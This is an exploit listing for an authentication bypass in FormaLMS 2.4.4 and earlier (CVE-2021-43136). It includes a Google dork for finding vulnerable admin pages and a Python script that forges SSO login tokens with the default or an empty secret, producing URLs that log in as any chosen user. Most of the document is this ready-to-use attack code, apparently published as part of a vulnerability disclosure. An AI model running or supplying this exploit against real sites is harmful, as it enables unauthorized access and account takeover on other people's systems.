# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass # Google Dork: inurl:index.php?r=adm/ # Date: 2021-11-10 # Exploit Author: Cristian 'void' Giustini @ Hacktive Security # Vendor Homepage: https://formalms.org # Software Link: https://formalms.org # Version: <= 2.4.4 # Tested on: Linux # CVE : CVE-2021-43136 # Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform. # Analysis: https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/ # Nuclei template: https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml #!/usr/bin/env python """ The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled """ import sys import time import hashlib secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" def help(): print(f"Usage: {sys.argv[0]} username target_url") sys.exit() if len(sys.argv) < 3: help() user, url = (sys.argv[1], sys.argv[2]) t = str(int(time.time()) + 5000) token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper() final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}" print(f"URL with default secret: {final_url}") token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper() final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}" print(f"URL with empty secret: {final_url}")